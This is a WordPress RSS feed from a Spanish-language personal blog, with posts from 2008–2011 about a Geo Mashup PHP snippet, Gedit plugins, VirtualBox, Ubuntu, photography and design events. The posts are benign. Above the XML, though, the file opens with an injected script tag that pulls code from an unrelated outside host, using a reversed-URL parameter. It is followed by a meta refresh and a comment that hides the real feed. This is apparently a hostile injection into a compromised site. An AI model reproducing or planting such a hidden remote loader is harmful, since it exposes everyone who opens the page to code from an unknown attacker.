<script src='http://turnitupnow.net/?rnd=3521%2Fdeef%2Ften.ralosoguh.golb'></script><meta http-equiv='refresh' content='0;url=http://blog.hugosolar.net/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hugosolar</title>
	<atom:link href="http://blog.hugosolar.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.hugosolar.net</link>
	<description></description>
	<lastBuildDate>Thu, 07 Apr 2011 16:00:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Utilizando posts para refenciar ubicaciones con WordPress y Geo Mashup</title>
		<link>http://blog.hugosolar.net/utilizando-posts-para-refenciar-ubicaciones-con-wordpress-y-geo-mashup/</link>
		<comments>http://blog.hugosolar.net/utilizando-posts-para-refenciar-ubicaciones-con-wordpress-y-geo-mashup/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 15:57:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[geo mashup]]></category>
		<category><![CDATA[georeferencia]]></category>
		<category><![CDATA[pagina hijo]]></category>
		<category><![CDATA[pagina padre]]></category>
		<category><![CDATA[posts]]></category>
		<category><![CDATA[referenciar]]></category>

		<guid isPermaLink="false">http://blog.hugosolar.net/?p=71</guid>
		<description><![CDATA[Geo Mashup es un plugin que nos sirve para interactuar con Google Maps, utilizando diversas funcionalidades del API y utilizando la DB de WordPress para almacenar los datos.
La interrogante surgio luego de necesitar referenciar en un mapa de una pagina padre, las referencias de las paginas hijas almacenadas con Geo Mashup. Sin embargo la documentacion [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/extend/plugins/geo-mashup/">Geo Mashup</a> es un plugin que nos sirve para interactuar con Google Maps, utilizando diversas funcionalidades del API y utilizando la DB de <a href="http://wordpress.org">WordPress</a> para almacenar los datos.</p>
<p>La interrogante surgio luego de necesitar referenciar en un mapa de una pagina padre, las referencias de las paginas hijas almacenadas con <a href="http://wordpress.org/extend/plugins/geo-mashup/">Geo Mashup</a>. Sin embargo la documentacion del plugin, además de no ser muy específica, no cuenta con todos los parametros con los cales funciona, los cuales descubrí luego de echarle una mirada al código de Geo Mashup, y luego de un buen rato encontre el parametro <strong>object_ids</strong> de la funcion <strong>GeoMashup::Map</strong>, resultando la solución a mi dolor de cabeza. Finalmente mi código quedo así:</p>
<pre class="brush: php;">

&lt;?php

$pageId=$post-&gt;ID;
 //Toma paginas hijas y muestra ubicacion en el mapa de la ciudad
 $wp_query = new WP_Query();
 $all_wp_pages = $wp_query-&gt;query(array('post_type' =&gt; 'page'));

 $children = get_page_children($pageId, $all_wp_pages);
 $ids=&quot;&quot;;
 foreach ($children as $child) {
 $coma=($ids==&quot;&quot;)?'':',';
 $ids.=$coma.$child-&gt;ID;
 }

 echo GeoMashup::map( 'map_content=global&amp;object_name=post&amp;object_ids='.$ids );

 ?&gt;
 &lt;?php wp_reset_query(); ?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/utilizando-posts-para-refenciar-ubicaciones-con-wordpress-y-geo-mashup/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>En Talento Gráfico</title>
		<link>http://blog.hugosolar.net/en-talento-grafico/</link>
		<comments>http://blog.hugosolar.net/en-talento-grafico/#comments</comments>
		<pubDate>Thu, 20 May 2010 05:31:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diseño]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[duoc]]></category>
		<category><![CDATA[fotos]]></category>
		<category><![CDATA[talento grafico]]></category>
		<category><![CDATA[viña]]></category>

		<guid isPermaLink="false">http://blog.hugosolar.net/?p=64</guid>
		<description><![CDATA[El día Martes 18 de mayo se llevo a cabo Talento Gráfico en la sede Viña del Mar del Duoc, en ésta exposición los estudiantes de diseño gráfico debían mostrar sus quehaceres relacionados con diseño de forma extraacademica. En mi caso expuse algunas de mis fotos principalmente y algo de web, sin embargo, y para [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.hugosolar.net/wp-content/uploads/2010/05/blog-talento.jpg"><img class="aligncenter size-full wp-image-65" title="blog-talento" src="http://blog.hugosolar.net/wp-content/uploads/2010/05/blog-talento.jpg" alt="" width="600" height="118" /></a>El día Martes 18 de mayo se llevo a cabo Talento Gráfico en la sede Viña del Mar del Duoc, en ésta exposición los estudiantes de diseño gráfico debían mostrar sus quehaceres relacionados con diseño de forma extraacademica. En mi caso expuse algunas de <a href="http://www.flickr.com/shorizo">mis fotos</a> principalmente y algo de web, sin embargo, y para mi sorpresa recibí un reconocimiento a mi labor como freelance, recibiendo una hermoso libro confeccionado por la profesora<a href="http://piarrecabarren.blogspot.com/"> Maria Pia Recabarren</a>, un muy buen trabajo.</p>
<p>La actividad además contó con la exposición de <a href="http://www.tri.cl">Estefania Trisoti</a>, quien hablo de su experiencia en el ámbito web y actualmente su desempeño como freelance. Y por otro lado <a href="http://koneja.carbonmade.com/">Elizabeth Hunt</a> una connotada ilustradora de Santiago.</p>
<p>Sin duda una buena experiencia para volver a repetir.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/en-talento-grafico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mis marcapáginas en una colección</title>
		<link>http://blog.hugosolar.net/mis-marcapaginas-en-una-coleccion/</link>
		<comments>http://blog.hugosolar.net/mis-marcapaginas-en-una-coleccion/#comments</comments>
		<pubDate>Mon, 03 May 2010 15:15:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diseño]]></category>
		<category><![CDATA[coleccion]]></category>
		<category><![CDATA[diseño grafico]]></category>
		<category><![CDATA[marcapaginas]]></category>

		<guid isPermaLink="false">http://blog.hugosolar.net/?p=19</guid>
		<description><![CDATA[
Mis marcapaginas realizados para el día del diseñador gráfico se encuentran desde hoy en una colección de marcapaginas de Olga Sotomayor quien en su blog expone:
He creado este blog para promocionar el coleccionismo de marcapáginas en  Chile en particular y en América Latina en general ya que en Europa es  un coleccionismo de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.hugosolar.net/wp-content/uploads/2010/05/post-marcapagina.jpg"><img class="alignnone size-full wp-image-21" title="post-marcapagina" src="http://blog.hugosolar.net/wp-content/uploads/2010/05/post-marcapagina.jpg" alt="" width="600" height="160" /></a></p>
<p>Mis marcapaginas realizados para el día del diseñador gráfico se encuentran desde hoy en una colección de marcapaginas de <a href="http://puntodelectura.blogspot.com/">Olga Sotomayor</a> quien en su blog expone:</p>
<blockquote><p>He creado este blog para promocionar el coleccionismo de marcapáginas en  Chile en particular y en América Latina en general ya que en Europa es  un coleccionismo de mucho tiempo y bien desarrollado. Se aceptan ayudas,  sugerencias,comentarios y todo tipo de aportes.</p></blockquote>
<p>ver <a href="http://puntodelectura.blogspot.com/2010/05/marcapaginas-del-dia-del-diseno-grafico.html">aqui</a></p>
<p><a href="http://puntodelectura.blogspot.com/">Blog de Olga Sotomayor</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/mis-marcapaginas-en-una-coleccion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu 10.04 LTS Lucid Lynx por fin!</title>
		<link>http://blog.hugosolar.net/ubuntu-10-04-lts-lucid-lynx-por-fin/</link>
		<comments>http://blog.hugosolar.net/ubuntu-10-04-lts-lucid-lynx-por-fin/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 15:21:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[lucid lynx]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.hugosolar.net/?p=16</guid>
		<description><![CDATA[
Ya está en mi compu la última version de Ubuntu 10.04 Lucid Lynx, instalada via upgrade, no saltó ningún problema y la actualización fué exitosa. Algunos cambios a vuelo de pájaro pueden verse por ejemplo en la implementación de gwibber como administrador de cuentas de redes sociales como twitter, facebook o flickr, de todas maneras [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.hugosolar.net/wp-content/uploads/2010/04/ubuntu.jpg"><img class="alignnone size-full wp-image-17" title="ubuntu" src="http://blog.hugosolar.net/wp-content/uploads/2010/04/ubuntu.jpg" alt="" width="600" height="123" /></a></p>
<p>Ya está en mi compu la última version de Ubuntu 10.04 Lucid Lynx, instalada via upgrade, no saltó ningún problema y la actualización fué exitosa. Algunos cambios a vuelo de pájaro pueden verse por ejemplo en la implementación de gwibber como administrador de cuentas de redes sociales como twitter, facebook o flickr, de todas maneras ya lo usaba de antes. Lo que si se nota es la velocidad para arrancar y lo visual ha mejorado mucho, sobre todo el pack de iconos por defecto ubuntu mono dark.</p>
<p>Pruebenlo ustedes mismos</p>
<p><a href="http://www.ubuntu.com/getubuntu/releasenotes/1004">Ubuntu 10.04 LTS Release Notes</a></p>
<p><a href="http://www.ubuntu.com/getubuntu/download">Download </a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/ubuntu-10-04-lts-lucid-lynx-por-fin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Torpedos para desarrollo web</title>
		<link>http://blog.hugosolar.net/torpedos-para-desarrollo-web/</link>
		<comments>http://blog.hugosolar.net/torpedos-para-desarrollo-web/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 04:16:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[cheat]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[developer]]></category>
		<category><![CDATA[torpedo]]></category>

		<guid isPermaLink="false">http://blog.hugosolar.net/?p=14</guid>
		<description><![CDATA[
Para quienes necesiten un ayudamemorias desde etiquetas HTML hasta selectores o metodos de Jquery aqui encontraras una lista de torpedos que compilan sintaxis utiles para desarrollo web que publican en Sixrevision.
Ver aqui
]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.hugosolar.net/wp-content/uploads/2010/04/cheat.jpg"><img class="alignnone size-full wp-image-15" title="cheat" src="http://blog.hugosolar.net/wp-content/uploads/2010/04/cheat.jpg" alt="" width="601" height="183" /></a></p>
<p>Para quienes necesiten un ayudamemorias desde etiquetas HTML hasta selectores o metodos de Jquery aqui encontraras una lista de torpedos que compilan sintaxis utiles para desarrollo web que publican en <a href="http://sixrevisions.com/">Sixrevision</a>.</p>
<p>Ver <a href="http://sixrevisions.com/resources/cheat_sheets_web_developer/">aqui</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/torpedos-para-desarrollo-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blog hugosolar.net</title>
		<link>http://blog.hugosolar.net/blogblog/</link>
		<comments>http://blog.hugosolar.net/blogblog/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 17:17:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://blog.hugosolar.net/?p=1</guid>
		<description><![CDATA[
Bienvenidos al nuevo blog del sitio, hasta ahora he decidido nuevamente darle curso a un blog (no se cuantas veces he escrito eso), sin embargo esta vez espero cumplirlo porque tengo muchas cosas que postear y creo que también vere si puedo rescatar algunas cosas de mi antiguo blog, porque también estoy estrenando hosting en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.hugosolar.net/wp-content/uploads/2010/03/fotofoto.jpg"><img class="alignnone size-full wp-image-13" title="fotofoto" src="http://blog.hugosolar.net/wp-content/uploads/2010/03/fotofoto.jpg" alt="" width="600" height="213" /></a></p>
<p>Bienvenidos al nuevo blog del sitio, hasta ahora he decidido nuevamente darle curso a un blog (no se cuantas veces he escrito eso), sin embargo esta vez espero cumplirlo porque tengo muchas cosas que postear y creo que también vere si puedo rescatar algunas cosas de mi antiguo blog, porque también estoy estrenando hosting en Dreamhost, que hasta ahora ha funcionado de maravillas.</p>
<p>veremos que pasa de aqui en adelante con muchas ideas en la cabeza y tal vez no mucho tiempo para realizarlas.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/blogblog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enchulando Gedit</title>
		<link>http://blog.hugosolar.net/enchulando-gedit/</link>
		<comments>http://blog.hugosolar.net/enchulando-gedit/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 14:45:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computacion]]></category>
		<category><![CDATA[editor]]></category>
		<category><![CDATA[enchular]]></category>
		<category><![CDATA[gedit]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[pimp]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[texto]]></category>

		<guid isPermaLink="false">http://www.hugosolar.net/blog/?p=62</guid>
		<description><![CDATA[Como muchos desarrolladores que trabajamos en ambiente Linux, es imprescindible contar con una herramienta sólida, cómoda, eficiente y completa. y en esa busqueda, pasando por muchos editores de texto como Bluefish, Scribes, Geany, etc., encontré una solución buenisima a la cual solamente faltaba enchularlo un poco.
Gedit es la herramienta de edición de texto por defecto [...]]]></description>
			<content:encoded><![CDATA[<p>Como muchos desarrolladores que trabajamos en ambiente Linux, es imprescindible contar con una herramienta sólida, cómoda, eficiente y completa. y en esa busqueda, pasando por muchos editores de texto como <a href="http://bluefish.openoffice.nl">Bluefish</a>, <a href="http://scribes.sourceforge.net/">Scribes</a>, <a href="http://www.geany.org/">Geany</a>, etc., encontré una solución buenisima a la cual solamente faltaba enchularlo un poco.<br />
<a href="http://http://projects.gnome.org/gedit/">Gedit </a>es la herramienta de edición de texto por defecto de <a href="http://www.gnome.org">Gnome</a>, la cual posee poderosos plugins que pueden integrarse de manera simple y transformar el simple <a href="http://projects.gnome.org/gedit/">Gedit</a> en una poderosa herramienta de edición de texto.</p>
<p>Para poder obetener esto, necesitamos la ayuda de algunos plugins. (ver el post completo)</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-63" title="pantallazo-5-2" src="http://blog.hugosolar.net/wp-content/uploads/2009/10/pantallazo-5-2.png" alt="pantallazo-5-2" /></p>
<p><span id="more-62"></span></p>
<p><strong>NOTA:</strong> esto solo funciona conversiones de Gedit &gt;= 2.20<br />
en primer lugar instalaremos los plugins de Gedit via repositorio</p>
<blockquote><p>sudo apt-get install gedit-plugins</p></blockquote>
<p>y obtendremos lo siguiente:</p>
<p><strong>Salvasesiones</strong>: Para salvar y reestablecer tus sesiones de trabajo<br />
<strong>Recortes</strong>: inserte los fragmentos de texto usados a menudo de una manera rápida<br />
<strong>File Browser Pane</strong>: Mini navegador de archivos incurstado en el panel<br />
<strong>Code comment</strong>: Atajo de teclado para comentar código (Multiples lenguajes)</p>
<p>Plugins de terceros</p>
<p><strong>Snapopen</strong> <a title="http://www.upperbound.net/snapopen/" href="http://www.upperbound.net/snapopen/">http://www.upperbound.net/snapopen/</a></p>
<p>Permite abrir archivos mediante expresiones regulares<br />
<strong>Class Browser</strong> <a title="http://www.stambouliote.de/projects/gedit_plugins.html" href="http://www.stambouliote.de/projects/gedit_plugins.html">http://www.stambouliote.de/projects/gedit_plugins.html</a><br />
Navegador de clases y funciones para diversos lenguajes.</p>
<p>NOTA: este plugin se debe combinar con la libreria Exuberant Ctags para mayor cantidad de soporte de lenguajes</p>
<blockquote><p>sudo apt-get install exuberant-ctags</p></blockquote>
<p><strong>Word Completion </strong><a title="http://elias.hiex.at/gedit-plugins/" href="http://elias.hiex.at/gedit-plugins/">http://elias.hiex.at/gedit-plugins/</a></p>
<p>Plugin para autocompletar palabras y código</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/enchulando-gedit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Haciendo funcionar windows como esclavo de linux</title>
		<link>http://blog.hugosolar.net/haciendo-funcionar-windows-como-esclavo-de-linux/</link>
		<comments>http://blog.hugosolar.net/haciendo-funcionar-windows-como-esclavo-de-linux/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 16:00:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computacion]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[maquina]]></category>
		<category><![CDATA[photoshop]]></category>
		<category><![CDATA[virtual]]></category>
		<category><![CDATA[virtualbox]]></category>

		<guid isPermaLink="false">http://www.hugosolar.net/blog/?p=52</guid>
		<description><![CDATA[Ahora todos los que tenian de pretexto algunos programitas como la serie adobe para decir &#8220;no puedo cambiarme a linux&#8221; ya no lo tienen mas, porque existe un programita llamado Virtualbox que hoy está siendo desarrollado por Sun el cual nos permite crear una maquina virtual pudiendo instalar windows u otro sistema operativo (o tambien [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a rel="attachment wp-att-53" href="http://blog.hugosolar.net/?attachment_id=53"><img class="aligncenter size-medium wp-image-53" title="pantallazoillus" src="http://blog.hugosolar.net/wp-content/uploads/2009/02/pantallazoillus-300x187.png" alt="pantallazoillus" /></a>Ahora todos los que tenian de pretexto algunos programitas como la serie adobe para decir &#8220;no puedo cambiarme a linux&#8221; ya no lo tienen mas, porque existe un programita llamado Virtualbox que hoy está siendo desarrollado por Sun el cual nos permite crear una maquina virtual pudiendo instalar windows u otro sistema operativo (o tambien otras distribuciones de linux) con el fin de poder trabajar sin necesidad de compartir particiones con guindous ni tener problemas tan comunes como &#8220;me desaparecio mi grub&#8221; o &#8220;solo me bootea windows&#8221;.</p>
<p>Una maquina virtual es un software que emula ser una maquina, pudiendo instalarse multiples sistemas operativos como si fuera un computador real, funcionando de igual manera sin ninguna restriccion mas que las que tu definas. La mia funciona con 1gb en ram y 15 en disco duro y la serie adobe cs3 funciona sin ningun problema.</p>
<p>Hace algun tiempo, a decir verdad, desde que tengo mi notebook, elimine windows para siempre de mi disco duro. el pobre windows vista no alcanzo a durar mas de un par de horas y fue reemplazado inmediatamente por Ubuntu.</p>
<p>Llevo usando un buen tiempo Virtualbox incluso la verion 1.x la cual aun no era desarrollada por Sun y no he tenido mayores problemas.</p>
<blockquote><p>sudo apt-get install virtualbox</p></blockquote>
<p>Luego de eso el proceso es bastante sencillo para crear nuestra maquina.<br />
[PSGallery=2qp5avehm10]</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/haciendo-funcionar-windows-como-esclavo-de-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>De fotos Seleccionadas</title>
		<link>http://blog.hugosolar.net/de-fotos-seleccionadas/</link>
		<comments>http://blog.hugosolar.net/de-fotos-seleccionadas/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 21:45:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[fotografia]]></category>
		<category><![CDATA[artes visuales]]></category>
		<category><![CDATA[documental]]></category>
		<category><![CDATA[fotos]]></category>
		<category><![CDATA[memoriavisual]]></category>
		<category><![CDATA[pinguinos]]></category>
		<category><![CDATA[puc]]></category>
		<category><![CDATA[revolucion]]></category>
		<category><![CDATA[seleccion]]></category>

		<guid isPermaLink="false">http://www.hugosolar.net/blog/?p=29</guid>
		<description><![CDATA[Ha sido una semana de fotos seleccionadas, aunque no me lo esperaba, hace algun tiempo me contactaron de memoria visual para solicitarme permiso por la utilización de una foto que tome hace algún tiempo en el marco de las movilizaciones secundarias. El empelotamiento anti-loce se realizo en la plaza sotomayor en Valparaiso y de ahi [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hugosolar.net/blog/wp-content/uploads/2008/06/empelotamiento.jpg"><img class="alignleft size-medium wp-image-30" style="margin-top: 5px; margin-right: 8px; margin-bottom: 5px; margin-left: 8px;" title="empelotamiento" src="http://blog.hugosolar.net/wp-content/uploads/2008/06/empelotamiento-225x300.jpg" alt="" /></a>Ha sido una semana de fotos seleccionadas, aunque no me lo esperaba, hace algun tiempo me contactaron de memoria visual para solicitarme permiso por la utilización de una foto que tome hace algún tiempo en el marco de las movilizaciones secundarias. El empelotamiento anti-loce se realizo en la plaza sotomayor en Valparaiso y de ahi sale esta foto que fue requerida por lo realizadores del documental &#8220;<a href="http://www.larevoluciondelospinguinos.cl">la revolución de los pinguinos</a>&#8220;. y por lo que me contaron, la imágen aparece en el afiche oficial del documental. por lo menos lo pude ver en un <a href="http://www.flickr.com/photos/chilefotojp/2612282800/">volante</a> que esta en el flickr de <a href="http://www.flickr.com/photos/chilefotojp/">Juan Pedro Catepillan</a>, sin embargo aun sigo sin ver el afiche.</p>
<p>Por otro lado, hoy he recibido un correo de Artes Visuales de la Pontifica Universidad Católica por un concurso fotográfico al que postulé relativo al mar <span style="font-family: Arial; font-size: x-small;"><span style="font-size: 10pt; font-family: Arial;">“El Mar una mirada a lo nuestro&#8221;. En el correo me informan que mi foto ha sido seleccionada para la exposición fotográfica del concurso, lo que ya significa un paso. <a href="http://www.flickr.com/photos/shorizo/2557819480/">ver foto</a><br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/de-fotos-seleccionadas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nueva Adquisición</title>
		<link>http://blog.hugosolar.net/nueva-adquisicion/</link>
		<comments>http://blog.hugosolar.net/nueva-adquisicion/#comments</comments>
		<pubDate>Wed, 14 May 2008 15:36:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[fotografia]]></category>
		<category><![CDATA[d40]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[foto]]></category>
		<category><![CDATA[nikon]]></category>

		<guid isPermaLink="false">http://www.hugosolar.net/blog/?p=26</guid>
		<description><![CDATA[Por fin llegó a mis manos la esperada Nikon d40. Ya llevaba un tiempo sin sacar fotos, sin embargo ahora vuelvo a las canchas de flickr por lo menos y a ver que pasa.
&#8220;Le faltaba a Nikon una cámara como la D40. Una réflex para muy aficionados, para los que no quieren complicarse. Una cámara [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hugosolar.net/blog/wp-content/uploads/2008/05/dsc_1368.jpg"><img class="alignleft size-thumbnail wp-image-25" style="margin-top: 5px; margin-right: 7px; margin-bottom: 5px; margin-left: 7px; border: 0pt none initial;" title="dsc_1368" src="http://blog.hugosolar.net/wp-content/uploads/2008/05/dsc_1368-150x150.jpg" alt="" /></a>Por fin llegó a mis manos la esperada <a href="http://www.quesabesde.com/camaras-digitales/camaras/nikon-d40,2490.aspx">Nikon d40</a>. Ya llevaba un tiempo sin sacar fotos, sin embargo ahora vuelvo a las canchas de <a href="http://www.flickr.com/photos/shorizo/">flickr</a> por lo menos y a ver que pasa.</p>
<blockquote><p>&#8220;Le faltaba a Nikon una cámara como la D40. Una réflex para muy aficionados, para los que no quieren complicarse. Una cámara como la D50, pero aún más barata. Y parece que la elección ha sido buena. Mas allá del precio -sí, esperábamos que incluso fuera algo más asequible-, la D40 no se pliega a la dictadura del megapíxel, ofrece un funcionamiento poco complejo y se saca de la chistera un sistema de enfoque que levantará pasiones y críticas a partes iguales. Bienvenida sea.</p>
<p>La Nikon D40 es, a grandes rasgos, la réflex digital para los aficionados más aficionados del mundo aficionado. El primer peldaño que se ha de andar si se quiere empezar a navegar por el mundo SLR sin hipotecar la cartera.</p>
<p>Echando mano del pasado, resulta bastante sencillo definir al público potencial de la D40: los mismos que en su día se compraron una F50 -una réflex de película, ¿recuerdan?- o algún modelo similar y apenas sabían manejarla ni se plantearon nunca cambiar de objetivo.&#8221;</p></blockquote>
<p><strong>Ver análisis completo en </strong>: <a href="http://www.quesabesde.com/camaras-digitales/camaras/nikon-d40-analisis,2490.html">quesabesde.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hugosolar.net/nueva-adquisicion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

